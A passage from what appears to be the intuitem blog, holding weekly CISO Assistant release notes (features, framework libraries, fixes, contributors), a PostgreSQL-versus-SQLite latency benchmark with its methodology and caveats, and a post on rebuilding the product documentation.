[#4217](https://github.com/intuitem/ciso-assistant-community/pull/4217)). Thanks to **@ab-smith**. - **Tighter internal-IP checks for PDF and webhooks** — Internal IP validation for PDF generation and webhooks has been hardened against SSRF-style abuse (PR [#4216](https://github.com/intuitem/ciso-assistant-community/pull/4216)). Thanks to **@ab-smith**. ## Analytics & Reporting - **Analytics on applied controls** — Applied controls gain a dedicated analytics view (PR [#4193](https://github.com/intuitem/ciso-assistant-community/pull/4193)). Thanks to **@ab-smith**. - **Auditee mode and advanced analytics on by default** — Both the auditee mode and advanced analytics feature flags are now enabled by default, putting these capabilities in front of more users out of the box (PR [#4205](https://github.com/intuitem/ciso-assistant-community/pull/4205)). Thanks to **@Mohamed-Hacene**. - **Analytics export to XLSX (experimental)** — An experimental export sends analytics to XLSX, handy for basic Power BI integration (PR [#4073](https://github.com/intuitem/ciso-assistant-community/pull/4073)). Thanks to first-time contributor **@Lidelle123**. - **Summary page performance boost** — A second performance pass speeds up the Summary page (PR [#4003](https://github.com/intuitem/ciso-assistant-community/pull/4003)). Thanks to **@monsieurswag**. ## Framework & Library Updates - **🇬🇧 NCSC Cyber Assessment Framework (CAF) v4.0** — The latest version of the UK NCSC's CAF is now available as a library (PR [#4167](https://github.com/intuitem/ciso-assistant-community/pull/4167)). Thanks to **@tarkadia**. - **🇫🇷 TRUE II (n° 901/SGDSN/ANSSI)** — France's TRUE II framework joins the catalog (PR [#4190](https://github.com/intuitem/ciso-assistant-community/pull/4190)). Thanks to **@tarkadia**. - **EU CER Directive — missing Excel file** — The EU's CER Directive library now ships its Excel file (PR [#4162](https://github.com/intuitem/ciso-assistant-community/pull/4162)). Thanks to **@tarkadia**. ## UX - **Risk acceptance justification on approval** — Approvers are now prompted for a justification when they check off a risk acceptance, improving the audit trail (PR [#3772](https://github.com/intuitem/ciso-assistant-community/pull/3772)). Thanks to **@martinzerty**. - **Validation flow modal aligned to existing patterns** — The validation flow modal now follows the platform's established modal patterns (PR [#4183](https://github.com/intuitem/ciso-assistant-community/pull/4183)). Thanks to **@martinzerty**. - **Requirement assessment weights displayed** — Requirement assessments now show their weight (PR [#4143](https://github.com/intuitem/ciso-assistant-community/pull/4143)). Thanks to **@Mohamed-Hacene**. - **Risk matrix tooltip readability** — Risk matrix tooltips are easier to read (PR [#4225](https://github.com/intuitem/ciso-assistant-community/pull/4225)). Thanks to **@ab-smith**. - **Risk scenario page on small screens** — Fixed an overlap on the risk scenario page on small screens (PR [#4042](https://github.com/intuitem/ciso-assistant-community/pull/4042)). Thanks to first-time contributor **@PraveenMudalgeri**. - **XPF currency support** — The CFP franc (XPF) is now a selectable currency (PR [#4188](https://github.com/intuitem/ciso-assistant-community/pull/4188)). Thanks to **@ab-smith**. ## Bug Fixes - **Prefill implementation groups on compliance assessments** — The selected implementation groups of a compliance assessment are now prefilled correctly (PR [#4166](https://github.com/intuitem/ciso-assistant-community/pull/4166)). Thanks to **@martinzerty**. - **Safer form initialization** — Avoids an unsafe form initialization path in the frontend (PR [#4165](https://github.com/intuitem/ciso-assistant-community/pull/4165)). Thanks to **@nas-tabchiche**. - **Built-in role permissions sync after migrate** — Built-in role permissions now re-sync after every `post_migrate` emission, keeping permissions consistent (PR [#4147](https://github.com/intuitem/ciso-assistant-community/pull/4147)). Thanks to **@nas-tabchiche**. - **Reject out-of-range requirement scores** — Out-of-range and unbounded requirement scores are now rejected (PR [#4226](https://github.com/intuitem/ciso-assistant-community/pull/4226)). Thanks to **@nas-tabchiche**. - **Custom objects published correctly** — Custom objects are now created with `is_published=true` as expected (PR [#4180](https://github.com/intuitem/ciso-assistant-community/pull/4180)). Thanks to **@eric-intuitem**. - **Terminology visibility honored after restart/migrate** — Visibility choices on terminology now stick across restarts and migrations (PR [#4192](https://github.com/intuitem/ciso-assistant-community/pull/4192)), and visibility parameters are managed more consistently overall (PR [#4186](https://github.com/intuitem/ciso-assistant-community/pull/4186)). Thanks to **@ab-smith** and **@eric-intuitem**. - **Findings links with related objects** — Fixed findings links to related objects (PR [#4189](https://github.com/intuitem/ciso-assistant-community/pull/4189)). Thanks to **@martinzerty**. - **Metrics widget time range sticks** — Time range edits now persist on the metrics widget (PR [#3725](https://github.com/intuitem/ciso-assistant-community/pull/3725)). Thanks to **@martinzerty**. - **EBIOS RM strategic scenario report chain** — The strategic scenario report chain now uses the focused feared event (PR [#4172](https://github.com/intuitem/ciso-assistant-community/pull/4172)). Thanks to **@Mohamed-Hacene**. - **Audit donuts with implementation groups** — Fixed audit donut rendering when implementation groups are in play (PR [#4229](https://github.com/intuitem/ciso-assistant-community/pull/4229)). Thanks to **@Mohamed-Hacene**. - **Role name translation** — Role names are now translated correctly (PR [#3964](https://github.com/intuitem/ciso-assistant-community/pull/3964)). Thanks to **@eric-intuitem**. - **SSR bootstrap resilience** — Added retry logic to the frontend SSR bootstrap API calls (PR [#4200](https://github.com/intuitem/ciso-assistant-community/pull/4200)). Thanks to first-time contributor **@pasmud**. - **Chat widget FAB mounted in app layout** _(pro)_ — The ChatWidget floating action button is now mounted in the app layout (PR [#4209](https://github.com/intuitem/ciso-assistant-community/pull/4209)). Thanks to **@fastlorenzo**. ## Internationalization - **🇨🇿 Czech translation expanded** — The Czech localization received an update and a substantial expansion (PRs [#4184](https://github.com/intuitem/ciso-assistant-community/pull/4184), [#4195](https://github.com/intuitem/ciso-assistant-community/pull/4195)). Thanks to **@zdenek-pergl**. - **EBIOS RM casing consistent across translations** — Standardized the casing of "EBIOS RM" across translations (PR [#4123](https://github.com/intuitem/ciso-assistant-community/pull/4123)). Thanks to **@monsieurswag**. ## Maintenance - **psycopg2 → psycopg3** ⚠️ — The backend's PostgreSQL driver was upgraded from psycopg2 to psycopg3, a breaking change worth noting for self-hosted deployments (PR [#4220](https://github.com/intuitem/ciso-assistant-community/pull/4220)). Thanks to **@nas-tabchiche**. - **New documentation structure** — The documentation was reorganized, with a new authoring section added (PRs [#4197](https://github.com/intuitem/ciso-assistant-community/pull/4197), [#4213](https://github.com/intuitem/ciso-assistant-community/pull/4213)). - **Dependency and CI upkeep** — Intermediate backend dependency upgrades, a Playwright bump, GitHub Actions pinned to commit SHAs, job-scoped workflow token permissions, and a Postgres test matrix. ## New Contributors A warm welcome to three first-time contributors across these releases: - **[@PraveenMudalgeri](https://github.com/PraveenMudalgeri)** — fixed the risk scenario page layout on small screens. - **[@pasmud](https://github.com/pasmud)** — added retry logic to the SSR bootstrap calls. - **[@Lidelle123](https://github.com/Lidelle123)** — contributed the experimental analytics export to XLSX. --- For full details, check out the [v3.16.5](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.5), [v3.16.6](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.6), [v3.16.7](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.7), and [v3.17.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.17.0) release notes on GitHub. --- ### PostgreSQL vs SQLite, 2026 edition URL: https://intuitem.com/postgresql-vs-sqlite-2026-benchmark Published: 2026-05-26 Author: Titouan Ameline de Cadeville We ran the benchmarks. The results weren't what we expected. The question comes up cyclically in architecture discussions: when exactly should you move from SQLite to PostgreSQL? In 2026, the answer is less obvious than ever. SQLite in WAL mode has matured significantly. PostgreSQL remains the reference for distributed workloads. But on a single server, in production, against a real populated database — what does the latency curve actually look like? We wanted to measure it. ## The setup **Software versions:** PostgreSQL 16, SQLite 3.46.1, Django with psycopg2. Psycopg3's pipeline mode would reduce per-query round-trip cost for PostgreSQL, but psycopg2 remains the more battle-tested driver in production and is what CISO Assistant ships with today. The system under test is the CISO Assistant API, which exposes roughly fifty endpoints. We used [Locust](https://locust.io/) to generate load: 10 virtual users, ramped at 2 users/second, 60 seconds per run. Two scenarios: - **Empty database** — single user, freshly initialised schema. - **Populated database** — 1,000 assets, 7,500 incidents, plus TPRM data, findings, and vulnerabilities. PostgreSQL and SQLite both ran in Docker containers on the same host as the Django backend — an Ubuntu VM with 1 vCPU and 8 GB of RAM, roughly the minimum viable footprint for a fully functional CISO Assistant instance. PostgreSQL was reached via TCP at `db:5432` (Docker bridge network on the same host). SQLite, operating in the same process, skips that socket entirely. **PostgreSQL configuration:** stock defaults — `shared_buffers = 128MB`, `synchronous_commit = on`, no connection pooling. Django's `CONN_MAX_AGE` was set to 300 (persistent connections), which already amortises a significant fraction of per-query round-trip cost. **SQLite configuration:** WAL mode enabled. Other PRAGMAs (`synchronous`, `cache_size`, `mmap_size`, `busy_timeout`, `temp_store`) were left at their defaults. This framing matters for interpreting the results: **SQLite-WAL at reasonable defaults vs PostgreSQL 16 at stock defaults, single-node, same host.** This is not a tuned PostgreSQL benchmark. > **Statistical note on sample sizes:** this was a single 60-second Locust run per configuration across ~50 endpoints with 10 virtual users. Per-endpoint request counts range from 1 to ~12 within that window. Even three runs per scenario with min/median/max reported would materially strengthen these numbers — treat them as directional, not definitive. ## Empty database: a near-tie On a freshly initialised database, both engines perform almost identically. The aggregated p50 (median) is 24ms for PostgreSQL vs 31ms for SQLite — a difference that will rarely matter in practice. | Endpoint | PostgreSQL | SQLite | | ---------------------------------- | ---------- | -------- | | `GET /api/assets/` | 27ms | 43ms | | `GET /api/folders/` | 33ms | 40ms | | `GET /api/compliance-assessments/` | 41ms | 43ms | | `GET /api/risk-assessments/` | 24ms | 49ms | | **Aggregated p50** | **24ms** | **31ms** | _Average response time — empty DB (ms, lower is better)_ The PostgreSQL edge here is modest and expected: on small datasets, query execution is trivial for both engines, and PostgreSQL's planner overhead is negligible. The TCP socket is already amortised by persistent connections. ## Populated database: where it gets interesting With a database holding thousands of objects, the picture changes significantly on most endpoints — and collapses on a few specific ones. ### SQLite wins: endpoints with unbounded or deeply nested queries The common thread on endpoints where SQLite wins is not simply "lists" — it is endpoints where the serialiser issues many sub-queries per row, or where the response is not bounded by pagination: permission checks per object, nested relation fetching, computed tree structures. Each of those sub-queries pays the TCP round-trip cost on PostgreSQL; SQLite resolves them in-process. | Endpoint | PostgreSQL | SQLite | Difference | | ------------------------------------------- | ---------- | ------- | ------------- | | `GET /api/settings/general/` | 2,789ms | 461ms | SQ 83% faster | | `GET /api/get_combined_assessments_status/` | 2,692ms | 263ms | SQ 90% faster | | `GET /api/vulnerabilities/` | 2,259ms | 333ms | SQ 85% faster | | `GET /api/incidents/` | 2,040ms | 1,591ms | SQ 22% faster | | `GET /api/compliance-assessments/` | 649ms | 180ms | SQ 72% faster | | `GET /api/risk-assessments/` | 510ms | 132ms | SQ 74% faster | Two further endpoints — `GET /api/assets/graph/` and `GET /api/folders/org_tree/` — showed multi-second latencies on both engines that point to ORM access patterns rather than database choice. We discuss them separately in the [outlier section](#why-these-results) below. ### PostgreSQL wins: endpoints with simple, bounded lookups PostgreSQL recovers its edge on endpoints that resolve in a small number of well-indexed queries — by primary key, or with tight pagination — where the per-query TCP cost is fixed and low, and the query planner's precision matters more than round-trip count. | Endpoint | PostgreSQL | SQLite | Difference | | --------------------------------- | ---------- | ------- | -------------- | | `GET /api/applied-controls/` | 91ms | 814ms | PG 9× faster | | `GET /api/applied-controls/todo/` | 113ms | 469ms | PG 4× faster | | `GET /api/folders/` | 198ms | 459ms | PG 57% faster | | `GET /api/incidents/:id/` | 225ms | 1,073ms | PG 4.8× faster | Total throughput across all endpoints over the 60-second run was 4.1 req/s for PostgreSQL vs 5.1 req/s for SQLite — measured across ~30 common endpoints with uniform Locust distribution. A workload skewed toward simple bounded lookups would shift this ratio toward PostgreSQL. ## Why these results? **On unbounded and nested endpoints**, PostgreSQL goes through a TCP socket at `db:5432`. Even with persistent connections (`CONN_MAX_AGE = 300`), every sub-query incurs a round-trip on that socket. On endpoints that issue many small queries through the ORM — aggregations, permission checks, nested object fetching — that cost accumulates. SQLite, in-process, skips every one of those round-trips. We did not isolate this directly (e.g. by comparing TCP vs Unix domain socket), so treat this as the most plausible explanation, not a controlled measurement. **On simple bounded lookups**, PostgreSQL recovers its edge. Its B-tree indexes and query planner are optimised for these patterns; the per-query TCP cost is fixed and the query itself is minimal. **The `GET /api/folders/org_tree/` result at 8,172ms** and `GET /api/assets/graph/` at 15,031ms are outliers worth flagging independently. Both endpoints likely perform tree traversal either via recursive CTE or Python-side recursion. At these latencies, the ORM access pattern is the primary suspect, not the choice of database engine. **Note on login latency with a populated DB**: `POST /api/iam/login/` goes from 659ms on the empty database to 1,034ms (PostgreSQL) and 886ms (SQLite) on the populated one. bcrypt cost is data-independent, so the extra latency points to auth-time queries — permissions loading, last-login update, or audit log writes — that scale with data volume. ## Writes and mutations: the overlooked half | Operation | Endpoint | PostgreSQL | SQLite | | --------- | ---------------------------- | ---------- | ------ | | POST | `/api/assets/` | 320ms | 110ms | | POST | `/api/folders/` | 198ms | 99ms | | DELETE | `/api/assets/:id/` | 370ms | 180ms | | PATCH | `/api/applied-controls/:id/` | 620ms | 870ms | _Populated database, 10 virtual users, sequential writes._ On POST and DELETE operations, SQLite wins consistently. These endpoints trigger ORM cascades (child assets, permissions, `org_tree` rebuild), and each recursive call goes through the TCP socket on PostgreSQL. SQLite resolves the same operations in-process. `PATCH /api/applied-controls/:id/` is the exception: PostgreSQL wins here at 620ms vs 870ms, consistent with its advantage on simple bounded lookups. **The most important caveat on writes:** these are sequential writes. SQLite's WAL mode improves concurrent reads dramatically, but it retains a single-writer constraint. With 10 virtual users, we never stress-tested that ceiling. On a write-heavy concurrent workload, that limit becomes visible — and is the single most important factor to weigh before choosing SQLite for a write-intensive deployment. ## Tail latencies Average response times tell only part of the story — and with per-endpoint sample counts as low as 1 to 11 requests per 60-second run, the per-endpoint percentile data needs careful reading. **Important caveat on per-endpoint percentiles:** with n=3 or n=4 samples, Locust's percentile buckets collapse — p75 through p99.9 all resolve to the same value (the maximum observed request). These numbers are not statistical percentiles in the meaningful sense; they are the worst single observation out of a handful. Read them as "the slowest request we saw", not as a tail latency estimate. Only the aggregated row (n=242 for PG, n=294 for SQLite) has enough samples to produce meaningful percentile spread. Here is the full breakdown, showing p50, p75, and p90 per endpoint where they differ, plus the aggregate distribution: | Endpoint | n | avg | p50 | p75 | p90 | | ---------------------------------- | ------- | ----------- | --------- | ----------- | ----------- | | **PostgreSQL** | | | | | | | `GET /api/assets/graph/` | 3 | 15,031ms | 15,000ms | 16,000ms | 16,000ms | | `GET /api/folders/org_tree/` | 4 | 8,172ms | 8,600ms | 12,000ms | 12,000ms | | `GET /api/incidents/` | 5 | 2,040ms | 1,900ms | 2,400ms | 3,500ms | | `GET /api/compliance-assessments/` | 11 | 649ms | 100ms | 440ms | 680ms | | `GET /api/assets/` | 8 | 1,713ms | 920ms | 4,000ms | 6,300ms | | `GET /api/risk-assessments/` | 5 | 510ms | 480ms | 620ms | 1,000ms | | `GET /api/applied-controls/` | 1 | 91ms | 91ms | — | — | | `GET /api/incidents/:id/` | 1 | 225ms | 230ms | — | — | | **Aggregated PG** | **242** | **1,387ms** | **640ms** | **1,500ms** | **3,500ms** | | **SQLite** | | | | | | | `GET /api/assets/graph/` | 4 | 8,077ms | 8,900ms | 9,200ms | 9,200ms | | `GET /api/folders/org_tree/` | 4 | 3,860ms | 4,100ms | 4,600ms | 4,600ms | | `GET /api/incidents/` | 11 | 1,591ms | 1,400ms | 1,900ms | 2,600ms | | `GET /api/compliance-assessments/` | 12 | 180ms | 110ms | 340ms | 370ms | | `GET /api/assets/` | 6 | 606ms | 530ms | 770ms | 1,500ms | | `GET /api/risk-assessments/` | 10 | 132ms | 99ms | 110ms | 520ms | | `GET /api/applied-controls/` | 4 | 814ms | 890ms | 1,300ms | 1,300ms | | `GET /api/incidents/:id/` | 3 | 1,073ms | 990ms | 1,500ms | 1,500ms | | **Aggregated SQ** | **294** | **784ms** | **500ms** | **1,000ms** | **1,700ms** | _Populated DB — all times in ms, lower is better. Aggregated p99 (n=242 / n=294): PostgreSQL 14,000ms, SQLite 8,200ms._ The aggregated distribution is the only statistically meaningful picture here. At p90, PostgreSQL sits at **3,500ms** vs SQLite's **1,700ms**. At p99, PostgreSQL reaches **14,000ms** vs SQLite's **8,200ms** — driven by the `assets/graph` and `org_tree` outliers hitting their worst cases under load. Two individual-endpoint numbers are worth highlighting despite small n: `GET /api/compliance-assessments/` on PostgreSQL shows p50=100ms but avg=649ms — extreme variance across just 11 requests, consistent with occasional query plan misses or lock contention. SQLite on the same endpoint is stable: p50=110ms, avg=180ms. ## What we did not tune — and what it means - **PostgreSQL at stock defaults.** No `async_commit`, no connection pooling (PgBouncer or otherwise), no tuned `work_mem`. A well-configured PostgreSQL would close — and likely reverse — much of the gap on unbounded endpoints. - **`CONN_MAX_AGE = 300` was set**, so Django is reusing connections. Per-query round-trip cost is real but partially mitigated. - **"Per-query round-trip cost" is the most plausible explanation** for the aggregate gap; we did not measure it in isolation. Unix domain socket vs TCP would isolate this — we did not run that comparison. - **Single host, 1 vCPU, 8 GB.** Numbers will look different on multi-core hosts or across a real network boundary. - **Concurrent write benchmark is the natural follow-up** — and the one that would actually stress WAL's single-writer ceiling. - **A note on aggregates:** the conclusion uses p50 (median) — 640ms for PostgreSQL vs 500ms for SQLite. The tail-latency table uses the mean — 1,387ms vs 784ms. The median is more robust to outliers; the mean reflects the full weight of the slow endpoints. Both are valid; they answer different questions. ## The real conclusion On a single well-sized instance running CISO Assistant, **SQLite in WAL mode at default configuration competes seriously with PostgreSQL 16 at default configuration** — and beats it outright on most read patterns we measured. The aggregated p50: SQLite 500ms, PostgreSQL 640ms. Total throughput: SQLite 5.1 req/s vs PostgreSQL 4.1 req/s. Aggregated p99: SQLite 8,200ms vs PostgreSQL 14,000ms. PostgreSQL recovers its advantage on simple bounded lookups, where its query planner and indexing shine — and on any workload that requires replication, multi-node writes, or concurrent write throughput that hits SQLite's WAL ceiling. **Choose SQLite if** you're on a single-node deployment, your workload is read-heavy, and you value operational simplicity. **Choose PostgreSQL if** you need multi-instance deployment, streaming replication, or a concurrent write-heavy workload. These are the right reasons. Latency on a single node is not. Whatever engine you are considering, make sure your first investment is in query optimisation. A well-profiled ORM access pattern will do more for your response times than any engine switch! > **A side note on locality.** SQLite's hard limit isn't concurrency — it's locality. As soon as your application runs on more than one host, those instances cannot share a local SQLite file (network filesystems are a footgun; tools like Litestream or LiteFS exist but they are bolt-on solutions, not the default). That is the practical line where PostgreSQL becomes mandatory, well before any latency or throughput consideration enters the picture. --- ### Rebuilding the CISO Assistant Documentation URL: https://intuitem.com/ciso-assistant-docs-restructure Published: 2026-05-25 Author: Abderrahmane Smimite CISO Assistant has grown a lot over the past two years — new modules (TPRM, EBIOS RM, CRQ, DORA), a deeper data model, a CLI, an ever-expanding framework library. Our documentation has, frankly, not kept up at the same pace. We've decided to rebuild it from the ground up, and a preview is already live at [intuitem.gitbook.io/ciso-assistant/product-docs](https://intuitem.gitbook.io/ciso-assistant/product-docs). This post is about the **why** behind the restructure, and how you can contribute. ## What was wrong with the old docs The previous documentation had accumulated in layers. New features were appended where there was room, reference material sat next to step-by-step guides, and conceptual explanations were scattered across pages that had grown organically. Users — and frankly, our own team — were spending too much time hunting for the right page, and too often landing on something that was either outdated or assumed context they didn't have. The core issues: - **No clear separation** between _what something is_ and _how to use it_. - **Mental models were implicit** — you had to read several pages to piece together how perimeters, domains, audits, and applied controls relate to each other. - **Drift from the code** — features evolved faster than the docs, with no enforcement loop. - **Hard to contribute to** — the structure didn't make it obvious where a new page should go. ## What's changing The new documentation is organized around a few principles: ### 1. Mental models, first Before diving into screens and buttons, we want users to understand the **way CISO Assistant thinks** about GRC: how the data model is structured, why we separate frameworks from audits, how risk assessments relate to applied controls, what a perimeter actually represents. These are short, focused pages that build the vocabulary you need before you touch the product. ### 2. Concepts and guides, separated Reference material (what a field means, what a model contains, what an enum value implies) lives apart from task-oriented guides (how to run your first audit, how to import a framework, how to wire up SSO). Each has a different shape and a different audience — mixing them was the original sin of the old docs. ### 3. Versioned with the code The documentation now lives **inside the [`ciso-assistant-community`](https://github.com/intuitem/ciso-assistant-community) repository**, next to the code it describes. A feature change and its doc update can — and should — travel in the same pull request. This closes the drift loop and makes the docs a first-class part of the release process rather than an afterthought. ### 4. Open to contributions Because the docs live in the same repo, contributing is exactly the same workflow as contributing code: fork, edit, open a PR. If you've ever hit a confusing page, found a missing example, or worked out a non-obvious configuration — please send it back. Documentation PRs are some of the highest-leverage contributions an open-source project can receive, and we'll review them with the same care as code. ### 5. Smart search out of the box We're hosting on GitBook, which ships with **semantic, AI-aware search** across the whole documentation set. Instead of keyword-matching against page titles, you can ask questions in natural language and get answers grounded in the actual content. For a product as broad as CISO Assistant, this matters — most users don't know the exact term we use internally for the thing they're looking for. ## Honest caveats This is a work in progress, and we'd rather ship it now than wait for perfection: - **Some pages have been migrated as-is** from the old documentation. They'll be rewritten progressively to match the new structure and tone — please bear with us if you land on one that still feels stitched together. - **Coverage is uneven.** The areas of the product we've touched most recently have the best docs; older or more stable modules are still catching up. - **The structure itself may shift** a little as we learn what works. If something is hard to find, that's useful signal — open an issue. ## What you can do - **Browse the preview**: [intuitem.gitbook.io/ciso-assistant/product-docs](https://intuitem.gitbook.io/ciso-assistant/product-docs) - **Tell us what's missing or confusing**: open an issue on [ciso-assistant-community](https://github.com/intuitem/ciso-assistant-community/issues) - **Contribute a fix or a new page**: PRs are welcome, and small ones are the easiest to merge Better documentation is a long game, not a one-shot project. This restructure gives us — and the community — a foundation we can keep building on. --- ### What's New in CISO Assistant — Week 21, 2026 (v3.16.3 – v3.16.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w21 Published: 2026-05-19 Author: intuitem This week brings two releases: a feature-packed **v3.16.3** on May 16, followed quickly by the **v3.16.4** hotfix on May 18. New frameworks, a Responsibility Matrix, Ebios RM interop, task labels, Estonian language support, and a flurry of framework builder and i18n improvements. ## Headline Features - **Responsibility Matrix (RACI, RASCI, RAPID)** — Native support for responsibility assignment matrices, making it straightforward to capture who is Responsible, Accountable, Consulted, Informed (and the RASCI/RAPID variants) directly inside the platform. - **Ebios RM import in Egerie format** — CISO Assistant now imports Ebios RM studies exported in the Egerie format, opening a smoother migration path for organizations using Egerie's risk tooling. - **Task labels** — Tasks now support labels, enabling lightweight categorization, filtering, and reporting across task lists. Thanks to **@tarkadia**. - **Export modal for context and discoverability** — Exports are now triggered through a dedicated modal that surfaces the available options up front, replacing the previous less-discoverable flow. ## Framework & Library Updates - **🇸🇦 KSA PDPL** — Saudi Arabia's Personal Data Protection Law framework is now available as a library, joining the growing roster of national data protection regulations covered out of the box. - **🤖 AI Defense Matrix Framework** — A new framework targeting AI system defense, contributed by first-time contributor **@scuba-st3v3**. ## Framework Builder - **Internationalization** — The framework builder UI is now translatable, an important step toward enabling non-English-speaking authors to build and maintain frameworks in their own language. - **Slider inputs for numbers and single choice + URN change fixes** — Numeric and single-choice questions can now use slider inputs, and a class of URN change bugs are resolved. Thanks to **@nas-tabchiche**. - **Question CRUD on top-level requirement nodes** — Top-level requirement nodes now support question create/read/update/delete operations, removing an awkward limitation. Thanks to **@nas-tabchiche**. - **Top-level nodes included in translation operations** — Translation tooling now covers top-level requirement nodes as well. Thanks to **@nas-tabchiche**. ## UX - **Suggested measures button — improved behavior** — The suggested measures button is now more predictable in how it triggers and presents suggestions. Thanks to **@Mohamed-Hacene**. - **Breadcrumbs improvements** (v3.16.4) — Continued polish to breadcrumb behavior across navigation flows. Thanks to **@Mohamed-Hacene**. ## Internationalization - **🇪🇪 Estonian language support** — Estonian joins the supported language set. Welcome to **@TaLoN1x** for their first contribution shipping the Estonian translation, on top of the preparatory groundwork. - **Translation progress tracker** — A new tracker makes it easier to see where each language stands on coverage. - **Recover missing French strings** — A pass to restore French strings that had dropped out of coverage. ## Bug Fixes - **Third-party access to profile and settings** — Third-party users can now access their own profile and settings, fixing a long-open gap (PR [#3700](https://github.com/intuitem/ciso-assistant-community/pull/3700)). Thanks to **@martinzerty**. - **Reset filter regression** — A regression in the reset filter behavior is fixed. Thanks to **@tchoumi313**. - **Matrix Editor — blank fields after Matrix duplication & YAML import** (v3.16.4) — Backend + UI fix for blank fields appearing in the Matrix Editor after duplication or YAML import, plus a page title fix. Thanks to **@tarkadia**. - **Journey templates load post-migrate** (v3.16.4) — A hotfix ensures journey templates load correctly after migrations. Thanks to **@martinzerty**. - **Libraries test reliability** — The libraries test suite is more reliable. Thanks to **@Mohamed-Hacene**. ## Maintenance - **CLICA dependencies and README** — Refreshed CLI dependencies and accompanying documentation. - **Backend & automation dependency updates** — Incremental updates across backend dependencies and the automation folder. - **Svelte version upgrade** — Frontend Svelte version bumped. - **Helm chart matched to v3.16.2** — Chart version aligned to the previous release line. - **Native Windows dev — PowerShell `reformat.sh` equivalent** — A PowerShell port of `reformat.sh` for native Windows contributors. Thanks to **@tarkadia**. ## New Contributors A warm welcome to two first-time contributors this week: - **[@scuba-st3v3](https://github.com/scuba-st3v3)** — added the AI Defense Matrix Framework. - **[@TaLoN1x](https://github.com/TaLoN1x)** — shipped Estonian language support. --- For full details, check out the [v3.16.3](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.3) and [v3.16.4](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.4) release notes on GitHub. --- ### What's New in CISO Assistant — Week 20, 2026 (v3.16.2) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w20 Published: 2026-05-13 Author: intuitem After a quiet W19, this week brings **v3.16.2** — a single release packed with new framework libraries, two experimental UX flows, audit performance improvements, and a satisfying batch of fixes across mappings, filters, and i18n. ## Headline Features - **Experimental UI mode to create and link assets** — A new in-place flow for spinning up assets and linking them as you work, joining the growing set of experimental UX tracks. - **Specialized wizard for customer questionnaire prefill** — A guided wizard that streamlines prefilling customer questionnaires, reducing the manual back-and-forth that typically dominates this workflow. - **Folder tree — writable permission handling** — Folder tree selection now honors writable permissions, so users only see destinations they can actually write to. Thanks to **@tchoumi313**. ## Framework & Library Updates - **🇪🇺 EU CER Directive** — The Critical Entities Resilience directive is now available as a library, complementing existing EU regulatory coverage. - **🇬🇧 UK Defence Standard 05-138** — The UK MOD's cyber security for defence suppliers standard now ships as a library. - **CBDDO and DoW ZT-OT framework preparation** — Initial groundwork for the CBDDO and DoW Zero Trust / OT frameworks landed, followed by a restructuring pass. Welcome to **@celalunalp** for the first contribution on this track and thanks to **@tarkadia** for the restructure. - **ReCyF Framework — IG fixes** — Implementation group definitions on the ReCyF framework were corrected. Thanks to **@tarkadia**. - **Templates — standardize on "shall" per ISO/IEC Directives Part 2** — Mandatory language in templates is now aligned with the ISO/IEC Directives Part 2 conventions. Thanks to **@kriss-b**. ## Performance - **Audit — aggregate-based progress** — The per-row progress walk has been replaced with a single aggregate query. A meaningful win on larger audits. Thanks to **@tarkadia**. ## Data Import & Automation - **New record consumers + better-documented import commands** — Additional record consumers landed and the data import CLI commands now ship with detailed help descriptions. Thanks to **@tchoumi313**. ## Bug Fixes - **Mapping engine invalidation on library load/unload** — Mappings are now properly invalidated when a mapping library is loaded or unloaded, eliminating a class of stale-cache surprises. Thanks to **@nas-tabchiche**. - **Governance calendar & assessment counters — folder filtering** — Folder filters are now respected by the governance calendar and assessment counters. Thanks to **@tchoumi313**. - **Filtered asset export honors list filters** ([#4046](https://github.com/intuitem/ciso-assistant-community/pull/4046)) — Asset exports now match the filters applied to the list view. Welcome to **@rush2ranvijay** for their first contribution. - **Breadcrumb refresh on requirement assessment navigation** — The breadcrumb now refreshes correctly as users navigate requirement assessments. Thanks to **@Mohamed-Hacene**. - **Norway is a country, not a boolean** — A long-standing pitfall where the country code `NO` was being interpreted as the string `"NO"` (i.e., a no/false value) is fixed. Norway is now safe. - **Assessable parent without IG, but child has one** — A 404 error in this configuration is resolved. Thanks to **@monsieurswag**. - **Audit IG filter — ancestors of matching descendants now shown** — When filtering by implementation group, ancestors whose own IGs don't match are now still shown if their descendants do, restoring the expected tree view. Thanks to **@nas-tabchiche**. - **HTML exports — line breaks preserved** — Line breaks now survive HTML export. - **Tasks review — better adaptive layout** — The tasks review view adapts more gracefully to the available space. ## Internationalization - **🇨🇿 Czech translation updates** — Coverage extended across Risk, BIA, GDPR, and Assets. Welcome to **@zdenek-pergl** for their first contribution. ## Testing - **Journeys functional tests** — Coverage added for the journeys feature shipped in v3.16.0–v3.16.1. Thanks to **@melinoix**. ## CI & Developer Experience - **pnpm pinned via `pnpm/action-setup@v4`** — CI now pins pnpm explicitly and hardens Playwright version detection. - **Native Windows development experience** — Working on the project on native Windows is smoother out of the box. Thanks to **@tarkadia**. ## New Contributors A warm welcome to three first-time contributors this week: - **[@celalunalp](https://github.com/celalunalp)** — kicked off the CBDDO and DoW ZT-OT framework groundwork. - **[@rush2ranvijay](https://github.com/rush2ranvijay)** — fixed filtered asset export to honor list filters. - **[@zdenek-pergl](https://github.com/zdenek-pergl)** — extended the Czech translation across Risk, BIA, GDPR, and Assets. --- For full details, check out the [v3.16.2](https://github.com/intuitem/ciso-assistant-community/releases/tag/v3.16.2) release notes on GitHub. --- ### What's New in CISO Assistant — Week 18, 2026 (v3.16.1) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w18 Published: 2026-05-03 Author: intuitem A single release this week, but a meaty one. **v3.16.1** lands a new journeys editor, Azure Blob Storage support, AI memory management improvements, and several new and refreshed framework libraries. ## Headline Features - **Journeys editor** — A new editor to author and tailor journeys directly in the product, building on the journeys preset work landed in v3.16.0. - **Azure Blob Storage support** — Operators can now point CISO Assistant at Azure Blob Storage as an alternative to S3 for object storage. Thanks to **@rborlone** for landing this on their first contribution. - **AI chat memory — session truncation and compression** — Chat sessions now manage memory more intelligently with truncation and compression, so longer conversations stay coherent without blowing the context budget. - **Experimental batch loading of evidence files** — A new experimental UX flow to upload multiple evidence files at once. ## Respondent & Third-Party Workflow - **Auto questions for respondents** — Questionnaires can now 